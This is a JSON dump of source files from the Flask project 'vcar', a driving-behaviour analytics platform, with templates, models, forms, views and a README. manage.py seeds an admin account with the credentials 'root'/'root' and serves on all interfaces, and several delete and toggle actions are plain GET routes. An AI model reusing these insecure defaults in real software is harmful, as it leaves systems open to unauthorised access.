protected]('/configuration')\n@login_required\ndef configuration():\n # may be some logic !\n return render_template('elements/configuration.html')\n" }, { "alpha_fraction": 0.388141393661499, "alphanum_fraction": 0.39042189717292786, "avg_line_length": 44.67708206176758, "blob_id": "14c6bc6d8e8f2cb93573410134c4b4a96bcf0228", "content_id": "e423188ab373213fe1ccd771e228079c35a44e2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 4385, "license_type": "no_license", "max_line_length": 201, "num_lines": 96, "path": "/templates/carboard/user/index.html", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "{% extends \"layout.html\" %}\n\n{% from \"carboard/macros.html\" import render_pagination %}\n\n{% block title %}\n List of users | {{ super() }}\n{% endblock %}\n\n{% block content_header %}\n\t<section class=\"content-header\">\n\t\t<h1>\n\t\tList of users\n\t\t</h1>\n\t\t<ol class=\"breadcrumb\">\n\t\t\t<li><a href=\"{{ url_for('carboard.index') }}\"><i class=\"fa fa-dashboard\"></i>Home</a></li>\n\t\t\t<li><a href=\"{{ url_for('carboard.indexUser') }}\">User</a></li>\n\t\t\t<li class=\"active\">List of users</li>\n\t\t</ol>\n\t</section>\n{% endblock content_header %}\n\n{% block content %}\n\n <div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"box\">\n <div class=\"box-header\">\n <div class=\"box-actions\">\n <a href=\"{{ url_for('carboard.newUser') }}\" class=\"btn btn-primary\">\n Add new user\n </a>\n </div>\n <div class=\"box-tools\">\n <div class=\"input-group input-group-sm\" style=\"width: 150px;\">\n <input type=\"text\" name=\"table_search\" class=\"form-control pull-right\" placeholder=\"Search\">\n\n <div class=\"input-group-btn\">\n <button type=\"submit\" class=\"btn btn-default\">\n <i class=\"fa fa-search\"></i>\n </button>\n </div>\n </div>\n </div>\n </div>\n <div class=\"box-body no-padding\">\n <table class=\"table table-hover\">\n <tr>\n <th>ID</th>\n <th>Avatar</th>\n <th>Username</th>\n <th>Email</th>\n <th>Role</th>\n <th>Status</th>\n <th>Actions</th>\n </tr>\n\n {% for user in users.items %}\n <tr>\n <td><a href=\"{{ url_for('carboard.showUser', id=user.id) }}\">{{ user.id }}</a></td>\n <td><a href=\"{{ url_for('carboard.showUser', id=user.id) }}\">\n {% if user.avatar %}\n <img class=\"avatar table-avatar\" src=\"{{ resized_img_src(config.UPLOAD_USER + user.avatar, width=60) }}\" alt=\"{{ user.username }}\">\n {% else %}\n <img class=\"avatar table-avatar\" src=\"/static{{ config.UPLOAD_USER}}default.png\">\n {% endif %}\n </a></td>\n <td>{{ user.username }}</td>\n <td>{{ user.email }}</td>\n <td>{{ user.role }}</td>\n <td>\n {% if user.status == 1 %}\n <span class=\"label bg-green\">Activated</span>\n {% else %}\n <span class=\"label bg-red\">Disabled</span>\n {% endif %}\n </td>\n <td>\n <a href=\"{{ url_for('carboard.showUser', id=user.id) }}\" class=\"btn btn-default btn-sm\" data-toggle=\"tooltip\" title=\"Show\"><i class=\"fa fa-eye\"></i></a>\n\n <a href=\"{{ url_for('carboard.toggleUser', id=user.id) }}\" class=\"btn btn-warning btn-sm\" data-toggle=\"tooltip\" title=\"Toggle status\"><i class=\"fa fa-toggle-on\"></i></a>\n\n <a href=\"{{ url_for('carboard.editUser', id=user.id) }}\" class=\"btn btn-success btn-sm\" data-toggle=\"tooltip\" title=\"Edit\"><i class=\"fa fa-pencil\"></i></a>\n\n <a href=\"{{ url_for('carboard.deleteUser', id=user.id) }}\" class=\"btn btn-danger btn-sm\" data-toggle=\"tooltip\" title=\"Remove\"><i class=\"fa fa-trash\"></i></a>\n </td>\n </tr>\n {% endfor %}\n </table>\n </div>\n <div class=\"box-footer clearfix\">\n {{render_pagination(users)}}\n </div>\n </div>\n </div>\n </div>\n{% endblock %}\n" }, { "alpha_fraction": 0.4556135833263397, "alphanum_fraction": 0.4595300257205963, "avg_line_length": 21.52941131591797, "blob_id": "d036480697f30c5133b49bece98ff0351b07e318", "content_id": "4574c26fcce7df4206f90cd7e8a26058c4ddfbd5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 766, "license_type": "no_license", "max_line_length": 79, "num_lines": 34, "path": "/app/explorer/forms.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import Form\nfrom wtforms import StringField, SelectField\nfrom wtforms.validators import DataRequired, Optional, Length\n\n\n# ------------------------ custom validation methods ------------------------ #\n\n\n# ---------------------------- Chart form class ----------------------------- #\n\nclass ChartForm(Form):\n \"\"\" Chart add/edit Form \"\"\"\n\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n ]\n )\n driver_id = SelectField(\n 'Driver',\n coerce=int, # str\n validators=[\n Optional(),\n ]\n )\n vehicle_id = SelectField(\n 'Driver',\n coerce=int, # str\n validators=[\n Optional(),\n ]\n )\n" }, { "alpha_fraction": 0.4919908344745636, "alphanum_fraction": 0.4988558292388916, "avg_line_length": 22, "blob_id": "996c6444071241be227f2e1263a6a6af26136277", "content_id": "4612600d61e3f3ad77d93159a6edb590859cc785", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 437, "license_type": "no_license", "max_line_length": 81, "num_lines": 19, "path": "/app/carboard/models/drivetype.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from ...extensions import db\n\n# -------------------------------- Status Model ------------------------------- #\n\n\nclass DriveType(db.Model):\n \"\"\" DriveType Model:\n The type of driving records.\n \"\"\"\n __tablename__ = 'drivetypes'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255))\n\n def __init__(self, name):\n self.name = name\n\n def __repr__(self):\n return self.name\n" }, { "alpha_fraction": 0.8064516186714172, "alphanum_fraction": 0.8064516186714172, "avg_line_length": 30, "blob_id": "9d11738f2fbcd05618486030fbac0af072b02910", "content_id": "a6ac6c26ee7da60b0f54f4effd4d3ac285d9d672", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 31, "license_type": "no_license", "max_line_length": 30, "num_lines": 1, "path": "/app/importer/platforms/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from .openxc.views import help\n" }, { "alpha_fraction": 0.5874316692352295, "alphanum_fraction": 0.5997267961502075, "avg_line_length": 28.280000686645508, "blob_id": "bb1cd81e8a882868e1b1e78ae671a1263804b451", "content_id": "4d21ee47ec9f468b41b0e295224641bdd5cf5386", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 732, "license_type": "no_license", "max_line_length": 79, "num_lines": 25, "path": "/app/carboard/models/signalsource.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom ...extensions import db\n\n# -------------------------------- Signalsource Model ----------------------- #\n\n\nclass Signalsource(db.Model):\n \"\"\" Signalsource Model: \"\"\"\n __tablename__ = 'signalsources'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255))\n description = db.Column(db.String(1000))\n signals = db.relationship(\"Signal\")\n\n status = db.Column(db.SmallInteger, default=1)\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, name, description, status=1):\n self.name = name\n self.status = status\n self.description = description\n\n def __repr__(self):\n return str(self.name)\n" }, { "alpha_fraction": 0.557232677936554, "alphanum_fraction": 0.5735849142074585, "avg_line_length": 28.44444465637207, "blob_id": "d593037cd43f09719f1ba9e2ae801617ce6eed15", "content_id": "cb4574865351f96398427f85a7b0c82adb47588a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 795, "license_type": "no_license", "max_line_length": 80, "num_lines": 27, "path": "/app/carboard/models/brand.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom ..helpers import slugify\nfrom ...extensions import db\n\n# -------------------------------- Brand Model ------------------------------- #\n\n\nclass Brand(db.Model):\n \"\"\" Brand (Marque) Model \"\"\"\n __tablename__ = 'brands'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255))\n slug = db.Column(db.String(255))\n logo = db.Column(db.String(255), nullable=True)\n code = db.Column(db.String(255))\n status = db.Column(db.SmallInteger, default=1)\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, name, code, logo=None):\n self.name = name\n self.slug = slugify(name)\n self.code = code\n self.logo = logo\n\n def __repr__(self):\n return self.name\n" }, { "alpha_fraction": 0.5753138065338135, "alphanum_fraction": 0.5753138065338135, "avg_line_length": 19.782608032226562, "blob_id": "50effb48d98da9d4a40dde44536d9ff72b679178", "content_id": "290a206943f7ff9b385dcb336fbc9c3df8656376", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 478, "license_type": "permissive", "max_line_length": 72, "num_lines": 23, "path": "/app/plugins/hello_world/src/views.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import Blueprint, render_template\nfrom app.plugins.helpers import render_md\n\nfrom .. import __path__\n\nhello = Blueprint(\n \"hello\",\n __name__,\n url_prefix='/hello',\n template_folder=\"../templates\"\n)\n\n# --------------------- /hello/ : Overview --------------------------- #\n\n\[email protected](\"/\")\ndef index():\n\n # Hello world is a one page plugin\n\n html = render_md(__path__, \"README.md\")\n\n return render_template(\"hello_world/index.html\", html=html)\n" }, { "alpha_fraction": 0.5689900517463684, "alphanum_fraction": 0.574679970741272, "avg_line_length": 27.1200008392334, "blob_id": "3b75980c970154dd0097ab6480aa1b0184e86d90", "content_id": "a98b3b564727e602561088e1f295b27654e92d10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 703, "license_type": "no_license", "max_line_length": 81, "num_lines": 25, "path": "/app/carboard/models/model.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom ...extensions import db\n\n# -------------------------------- Driver Model ------------------------------- #\n\n\nclass Model(db.Model):\n \"\"\" Vehicle Models Model \"\"\"\n __tablename__ = 'models'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255))\n\n brand_id = db.Column(db.Integer, db.ForeignKey('brands.id'))\n brand = db.relationship('Brand', backref='model')\n\n status = db.Column(db.SmallInteger, default=1)\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, name, brand_id):\n self.name = name\n self.brand_id = brand_id\n\n def __repr__(self):\n return self.name\n" }, { "alpha_fraction": 0.7708333134651184, "alphanum_fraction": 0.7708333134651184, "avg_line_length": 39, "blob_id": "52a0f89c55c3965b638533d8cb572c09046a3ccc", "content_id": "7e16a58241225687ec68ea2fd42bd593a5c64682", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 240, "license_type": "no_license", "max_line_length": 108, "num_lines": 6, "path": "/app/carboard/forms/filesignal.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom flask_wtf.file import FileAllowed, FileField, FileRequired\n\n\nclass FileSignalForm(FlaskForm):\n file = FileField(validators=[FileAllowed(['csv'], 'only .csv files are supported now'), FileRequired()])\n" }, { "alpha_fraction": 0.7516387701034546, "alphanum_fraction": 0.7523670792579651, "avg_line_length": 23.087718963623047, "blob_id": "9c3598bf4e73feff839cdbe08b24289583ba6c56", "content_id": "6352c6f883d8c379b28afe8a06b9040b6aa84b08", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1373, "license_type": "no_license", "max_line_length": 124, "num_lines": 57, "path": "/README.md", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "# vCar\n\n## vCar is a Driving Behaviour Analytics Platfom\n\nvCar Driving Analytics Solution processes the data coming from the connected vehicle and generates advanced driving behavior\nand driving pattern reports. The data is collected and analysed with the ultimate goal to gain a full understanding of\nthe drivers capability to adjust his driving based on driving conditions.\n\n## Instalation\n\n### build static files\n\nInstall dependencies :\n`npm install`\n\n* Production :\n\n`gulp build --prod`\nThen you need to set DEBUG=False in config/config.py\n\n* Development :\n * `gulp build [--dev]` to generate static files.\n * `gulp watch` to watch static files.\n\n### Install Elasticsearch\n\n* Download at [Elasticsearch](https://www.elastic.co/products/elasticsearch)\n* (Optionel) [Kibana](https://www.elastic.co/products/kibana)\n\n### Install Redis\n\n* Download at [Redis](https://redis.io/download)\n\n### Docker integration :\nTo run vcar inside docker please make this changes:\n\nChange `REDIS_HOST` and `ELASTICSEARCH_HOST` in `importer/platforms/openxc/constants.py` to : \n\n`REDIS_HOST = 'redis'`\n\n`ELASTICSEARCH_HOST = 'elastic'`\nthen run :\n`docker-compose up`\n\n## Technologies\n\nPython, FLASK, MYSQL, REDIS, ELASTIC, DOCKER, VISJS, NODEJS, BOOTSTRAP, CSS, JINJA2, HTML\n\n## Platform Insights\n\n* Car data storages\n* Data visualization\n* Driving Behavior\n\n## Team members\n\nboubouhkarim\n" }, { "alpha_fraction": 0.5985247492790222, "alphanum_fraction": 0.6032665967941284, "avg_line_length": 24.648649215698242, "blob_id": "28b09138d20015e18ac42bb512dc55908b3fa525", "content_id": "737d6882b2a98e5c9bfc84357b65fb690bcd2d95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1898, "license_type": "no_license", "max_line_length": 78, "num_lines": 74, "path": "/manage.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_script import Manager\nfrom flask_migrate import MigrateCommand\nfrom main import create_app\nfrom app.extensions import db\nfrom app.carboard.models.user import User\n\nimport os\n\napp = create_app()\nmanager = Manager(app)\n\n\[email protected]\ndef run():\n \"\"\"Run in local machine.\"\"\"\n app.config['TEMPLATES_AUTO_RELOAD'] = True\n\n # Extrafiles are just used to track changer in template folder\n # thus our application is forced to reload.\n extra_dirs = [\n '/home/karim/OpenXC/Dashboard/Flask/vcar/templates',\n ]\n extra_files = extra_dirs[:]\n for extra_dir in extra_dirs:\n for dirname, dirs, files in os.walk(extra_dir):\n for filename in files:\n filename = os.path.join(dirname, filename)\n if os.path.isfile(filename):\n extra_files.append(filename)\n\n \"\"\"\n Get informed : Flask development server can handle only one request :)\n * processes = x : allow x processes (forks) means x clients\n Windows sorry you can't fork :)\n * threaded = Bool : allow or not multiple threads.\n \"\"\"\n # app.run(processes=4, extra_files=extra_files)\n # app.run(threaded=True, host='0.0.0.0', extra_files=extra_files)\n app.run(threaded=True, extra_files=extra_files, host='0.0.0.0')\n # app.run(extra_files=extra_files)\n # app.run()\n\n\[email protected]\ndef initdb():\n \"\"\"Init/reset database.\"\"\"\n\n # db.drop_all()\n # db.create_all()\n\n admin = User(\n fullname=\"Misaki Yooko\",\n username=\"root\",\n email=\"[email protected]\",\n password='root'\n )\n\n db.session.add(admin)\n db.session.commit()\n\n\n# manager.add_option(\n# '-c', '--config',\n# dest=\"config\",\n# required=False,\n# help=\"config file\"\n# )\nmanager.add_command(\n 'db',\n MigrateCommand\n)\n\nif __name__ == \"__main__\":\n manager.run()\n" }, { "alpha_fraction": 0.42556634545326233, "alphanum_fraction": 0.46278315782546997, "avg_line_length": 21.814815521240234, "blob_id": "4213f754bad281bc6bf6025e7ed130ebd5a5576a", "content_id": "a357429ad5dea4eaa99a5caae5f29b6a2762413b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 618, "license_type": "no_license", "max_line_length": 79, "num_lines": 27, "path": "/app/importer/datasets/drive/constants.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "\n# -------------------- Redis constants -------------------------------------- #\nREDIS_HOST = 'localhost'\nREDIS_PORT = 6379\nREDIS_DB = 0\n\n# -------------------- Elasticsearch constants ------------------------------ #\n\n# basic configuration\nELASTICSEARCH_HOST = 'localhost'\nELASTICSEARCH_PORT = 9200\n\n# indexing configuration\nOPENXC_INDEX = 'openxc'\nBULK_SIZE = 10000\n\n# -------------------- Driver Graph Configuration --------------------------- #\nTRANSFORM = {\n -1: \"reverse\",\n 0: \"neutral\",\n 1: \"first\",\n 2: \"second\",\n 3: \"third\",\n 4: \"fourth\",\n 5: \"fifth\",\n 6: \"sixth\",\n 7: \"seventh\"\n}\n\n" }, { "alpha_fraction": 0.6167481541633606, "alphanum_fraction": 0.6179706454277039, "avg_line_length": 24.96825408935547, "blob_id": "d448706db4a7366e9df01bc24a3bcd33b3b2a90e", "content_id": "3953f2c03c0555f5d6b9335877a4313c332657f7", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1636, "license_type": "permissive", "max_line_length": 79, "num_lines": 63, "path": "/app/plugins/driver_graph/src/views.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import Blueprint, render_template\nfrom app.plugins.helpers import render_md\n\nfrom .algorithms.drivergraph import DriverGraph\nfrom .algorithms.settings import DefaultSettings\n\nfrom .. import __path__\n\ndriverGraph = Blueprint(\n \"driverGraph\",\n __name__,\n url_prefix='/driver_graph',\n template_folder=\"../templates\"\n)\n\n# --------------------- /driver_graph/ : Overview --------------------------- #\n\n\[email protected](\"/\")\ndef index():\n\n html = render_md(__path__, \"README.md\")\n\n return render_template(\"driver_graph/index.html\", html=html)\n\n# --------------------- /driver_graph/datasets : Show available datasets ---- #\n\n\[email protected](\"/datasets\")\ndef datasets():\n # todo\n return render_template(\"driver_graph/datasets.html\")\n\n# --------------------- /driver_graph/run : Main plugin function ------------ #\n\n\[email protected](\"/run\")\ndef run():\n driver = DriverGraph(max_nodes=30)\n driver.settings = DefaultSettings\n driver.create_digraph(\"/home/karim/OpenXC/uptown-west.json\")\n graph_js = driver.vis_network(physics=True)\n\n return render_template(\"driver_graph/run.html\", graph_js=graph_js)\n\n# --------------------- /driver_graph/custom : custom functions ------------- #\n\n\[email protected](\"/custom\")\ndef custom():\n # some plugin spesific functions ...\n\n return render_template(\"driver_graph/custom.html\")\n\n# --------------------- /driver_graph/docs : Documentation ------------------ #\n\n\[email protected](\"/docs\")\ndef docs():\n # documentation in markdown\n html = render_md(__path__, \"DOC.md\")\n\n return render_template(\"driver_graph/docs.html\", html=html)\n" }, { "alpha_fraction": 0.6293660998344421, "alphanum_fraction": 0.6293660998344421, "avg_line_length": 27.10909080505371, "blob_id": "25d9ed4e88eaee236d6da0607354aad313505700", "content_id": "592e3cbd589cd30e39b9cf5ba48b858c56b88f25", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1546, "license_type": "no_license", "max_line_length": 79, "num_lines": 55, "path": "/app/carboard/views/plugin.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, flash, redirect, url_for\n)\nimport flask_plugins\nfrom flask_login import login_required\n\nfrom . import carboard\n\n# -------------------- /carboard/plugin/ : List of plugins ------------------ #\n\n\[email protected]('/plugin/', methods=['GET'])\n@login_required\ndef indexPlugin():\n plugins = flask_plugins.get_all_plugins()\n try:\n plugins = flask_plugins.get_all_plugins()\n except Exception:\n plugins = None\n\n # raise\n\n return render_template('carboard/plugin/index.html', plugins=plugins)\n\n# -------------------- /carboard/plugin/id : Show plugin -------------------- #\n\n\[email protected]('/plugin/<identifier>', methods=['GET'])\n@login_required\ndef showPlugin(identifier):\n try:\n plugin = flask_plugins.get_plugin_from_all(identifier)\n except Exception:\n plugin = None\n\n return render_template('carboard/plugin/show.html', plugin=plugin)\n\n# -------------------- /carboard/plugin/id/enable : Enable plugin ----------- #\n\n\[email protected]('/plugin/<identifier>/enable', methods=['GET'])\n@login_required\ndef enablePlugin(identifier):\n try:\n enabled = flask_plugins.get_plugin_from_all(identifier)\n flash('Plugin {}, updated successfully.'.format(identifier), 'success')\n except Exception:\n enabled = None\n\n if enabled:\n flash('Plugin {}, enabled successfully.'.format(identifier), 'success')\n else:\n flash('Plugin {}, not enabled.'.format(identifier), 'error')\n\n return redirect(url_for('carboard.indexPlugin'))\n" }, { "alpha_fraction": 0.637442946434021, "alphanum_fraction": 0.6420091390609741, "avg_line_length": 33.761905670166016, "blob_id": "0ee28b09de9bdd0df3db74a7f751fc1f4d996d1b", "content_id": "eb51ea394b4b02e03d1fe4d2459b227563865015", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4380, "license_type": "no_license", "max_line_length": 85, "num_lines": 126, "path": "/app/carboard/views/platform.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for, jsonify\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.platform import Platform, PlatformSchema\nfrom ..models.extrasignal import ExtrasignalSchema\nfrom ..forms.platform import PlatformForm\nfrom ..helpers import paginate, upload_file\nfrom ..constants import PER_PAGE, PLATFORM_LOGO_DIR\nfrom ...extensions import db\n\n# --------------------- /carboard/platform/ : List of platforms ------------------ #\n\n\[email protected]('/platform/')\n@login_required\ndef indexPlatform():\n platforms = Platform.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/platform/index.html', platforms=platforms)\n\n# ----------------------- /carboard/platform/id : Show platform ------------------- #\n\n\[email protected]('/platform/<int:id>', methods=['GET'])\n@login_required\ndef showPlatform(id):\n platform = Platform.query.get_or_404(id)\n return render_template('carboard/platform/show.html', platform=platform)\n\n# ----------------------- /carboard/platform/id/json : Json platform object ------- #\n\n\[email protected]('/platform/<int:id>/json', methods=['GET'])\n@login_required\ndef jsonPlatform(id):\n platform = Platform.query.get_or_404(id)\n platform_schema = PlatformSchema()\n extrasignal_eschema = ExtrasignalSchema(many=True)\n platform_result = platform_schema.dump(platform)\n extrasignal_result = extrasignal_eschema.dump(platform.signals)\n\n return jsonify({\n 'platform': platform_result.data,\n 'signals': extrasignal_result.data\n })\n\n# ---------------------- /carboard/platform/new : Add platform -------------------- #\n\n\[email protected]('/platform/new', methods=['GET', 'POST'])\n@login_required\ndef newPlatform():\n \"\"\" Add new platform \"\"\"\n\n form = PlatformForm()\n\n if form.validate_on_submit():\n logo = upload_file(form.logo.data, PLATFORM_LOGO_DIR)\n platform = Platform(\n name=form.name.data,\n mimetype=form.mimetype.data,\n website=form.website.data,\n description=form.description.data,\n logo=logo\n )\n db.session.add(platform)\n db.session.commit()\n flash('Platform {}, added successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.indexPlatform'))\n\n return render_template('carboard/platform/new.html', form=form)\n\n# -------------------- /carboard/platform/id/edit : Edit platform ----------------- #\n\n\[email protected]('/platform/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editPlatform(id):\n \"\"\" Edit existing platform \"\"\"\n platform = Platform.query.get_or_404(id)\n oldLogo = platform.logo\n form = PlatformForm(obj=platform)\n if form.validate_on_submit():\n form.populate_obj(platform)\n logo = upload_file(form.logo.data, PLATFORM_LOGO_DIR)\n if logo is None:\n platform.logo = oldLogo\n else:\n platform.logo = logo\n db.session.commit()\n flash('Platform {}, updated successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.showPlatform', id=id))\n\n return render_template('carboard/platform/edit.html', form=form, id=id)\n\n# ------------------ /carboard/platform/id/delete : Delete platform --------------- #\n\n\[email protected]('/platform/<int:id>/toggle', methods=['GET'])\n@login_required\ndef togglePlatform(id):\n platform = Platform.query.get_or_404(id)\n # getattr(platform, 'status', 0)\n status = platform.status if platform.status is not None else 0\n platform.status = 1 - status\n db.session.commit()\n msg = 'activated' if platform.status is 1 else 'deactivated'\n flash('Platform {}, {} successfully.'.format(platform.name, msg), 'success')\n return redirect(url_for('carboard.indexPlatform'))\n\n# ------------------ /carboard/platform/id/delete : Delete platform --------------- #\n\n\[email protected]('/platform/<int:id>/delete', methods=['GET'])\n@login_required\ndef deletePlatform(id):\n platform = Platform.query.get_or_404(id)\n db.session.delete(platform)\n db.session.commit()\n flash('Platform {}, deleted successfully.'.format(platform.name), 'success')\n return redirect(url_for('carboard.indexPlatform'))\n" }, { "alpha_fraction": 0.6414941549301147, "alphanum_fraction": 0.6447283029556274, "avg_line_length": 37.89308166503906, "blob_id": "270622067e0bc8aefedd5cbc4da6fd466327a255", "content_id": "7e2038a0d940ffee6d01c84da3c18c93cb728c07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6184, "license_type": "no_license", "max_line_length": 115, "num_lines": 159, "path": "/app/carboard/views/signalsource.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import os\n\nfrom flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\nfrom sqlalchemy import or_\n\nfrom . import carboard\nfrom ..models.signalsource import Signalsource\nfrom ..forms.signalsource import SignalsourceForm\nfrom ..helpers import paginate, CSVLoader\nfrom ..constants import PER_PAGE, CSV_TEMP\nfrom ...extensions import db\nfrom ..forms.filesignal import FileSignalForm\nfrom ..helpers import remove_csv, upload_csv\n\n\n# --------------------- /carboard/signalsource/ : List of signalsources ----- #\n\n\[email protected]('/signalsource/')\n@login_required\ndef indexSignalsource():\n signalsources = Signalsource.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n start = (request.args.get('page', 1, type=int) - 1) * PER_PAGE + 1\n return render_template('carboard/signalsource/index.html', signalsources=signalsources, start=start)\n\n\n# ----------------------- /carboard/signalsource/id : Show signalsource ----- #\n\n\[email protected]('/signalsource/<int:id>', methods=['GET'])\n@login_required\ndef showSignalsource(id):\n signalsource = Signalsource.query.get_or_404(id)\n return render_template('carboard/signalsource/show.html', signalsource=signalsource)\n\n\n# ---------------------- /carboard/signalsource/new : Add signalsource -------------------- #\n\[email protected]('/signalsource/new', methods=['GET', 'POST'])\n@login_required\ndef newSignalsource():\n \"\"\" Add new signalsource \"\"\"\n form = SignalsourceForm()\n\n if form.validate_on_submit():\n ret = Signalsource.query.filter_by(name=form.name.data).first()\n if ret:\n flash('Signal source {}, already exists in the database.'.format(form.name.data), 'error')\n return redirect(url_for('carboard.indexSignalsource'))\n signalsource = Signalsource(\n name=form.name.data,\n description=form.description.data\n )\n db.session.add(signalsource)\n db.session.commit()\n flash('Signal source {}, added successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.indexSignalsource'))\n\n return render_template('carboard/signalsource/new.html', form=form)\n\n\n# -------------------------------- /carboard/signalsource/bulk-add add all from file -------------#\n\[email protected]('/signalsource/bulk-add', methods=['GET', 'POST'])\n@login_required\ndef bulkAddSource():\n form = FileSignalForm()\n errors = None\n if form.validate_on_submit():\n try:\n f = upload_csv(form.file.data, CSV_TEMP)\n loader = CSVLoader(os.path.join(CSV_TEMP, form.file.data.filename))\n res = loader.load()\n already_there = False\n for row in res:\n ret = Signalsource.query.filter_by(name=row['Signal Source'])\n if ret:\n already_there = True # check to not add already added signal sources\n continue\n signal_source = Signalsource(\n name=row['Signal Source'],\n description=row['Description']\n )\n db.session.add(signal_source)\n db.session.commit()\n remove_csv(form.file.data.filename, CSV_TEMP)\n except KeyError:\n errors = ['Your file is Not well Formated, please review your file structure .']\n if not errors and not already_there:\n flash('Signal sources added Succesfully', 'success')\n if already_there:\n flash('Some Signal sources are not added because they are already in the database', 'warning')\n return render_template('carboard/signalsource/bulk.html', form=form, errors=errors)\n\n\n# -------------------- /carboard/signalsource/id/edit : Edit signalsource ----------------- #\n\n\[email protected]('/signalsource/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editSignalsource(id):\n \"\"\" Edit existing signalsource \"\"\"\n signalsource = Signalsource.query.get_or_404(id)\n form = SignalsourceForm(obj=signalsource)\n if form.validate_on_submit():\n form.populate_obj(signalsource)\n db.session.commit()\n flash('Signal source {}, updated successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.showSignalsource', id=id))\n\n return render_template('carboard/signalsource/edit.html', form=form, id=id)\n\n\n# ------------------ /carboard/signalsource/id/delete : Delete signalsource --------------- #\n\n\[email protected]('/signalsource/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleSignalsource(id):\n signalsource = Signalsource.query.get_or_404(id)\n status = signalsource.status if signalsource.status is not None else 0\n signalsource.status = 1 - status\n db.session.commit()\n msg = 'activated' if signalsource.status is 1 else 'deactivated'\n flash('Signal source {}, {} successfully.'.format(signalsource.name, msg), 'success')\n return redirect(url_for('carboard.indexSignalsource'))\n\n\n# ------------------ /carboard/signalsource/id/delete : Delete signalsource --------------- #\n\n\[email protected]('/signalsource/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteSignalsource(id):\n signalsource = Signalsource.query.get_or_404(id)\n db.session.delete(signalsource)\n db.session.commit()\n flash('Signal source {}, deleted successfully.'.format(signalsource.name), 'success')\n return redirect(url_for('carboard.indexSignalsource'))\n\n\n# ------------------ /carboard/signalsource/search?table_seach=? : Search for signal source --------------- #\n\[email protected]('/signalsource/search')\n@login_required\ndef searchSignalSource():\n param = request.args.get('table_search')\n signalsources = Signalsource.query.filter(\n or_(Signalsource.name.like('%' + param + '%'), Signalsource.description.like('%' + param + '%'))).paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/signalsource/search.html', signalsources=signalsources)\n" }, { "alpha_fraction": 0.45069825649261475, "alphanum_fraction": 0.4549301862716675, "avg_line_length": 30.81944465637207, "blob_id": "4bb6cdb6047aa7f6b765bb8b406c6486977961cd", "content_id": "07202559b90a57671c5a3d7fef6bcb573288ada8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2363, "license_type": "no_license", "max_line_length": 121, "num_lines": 72, "path": "/templates/importer/records.html", "repo_name": "vcar/vcar", "src_encoding": 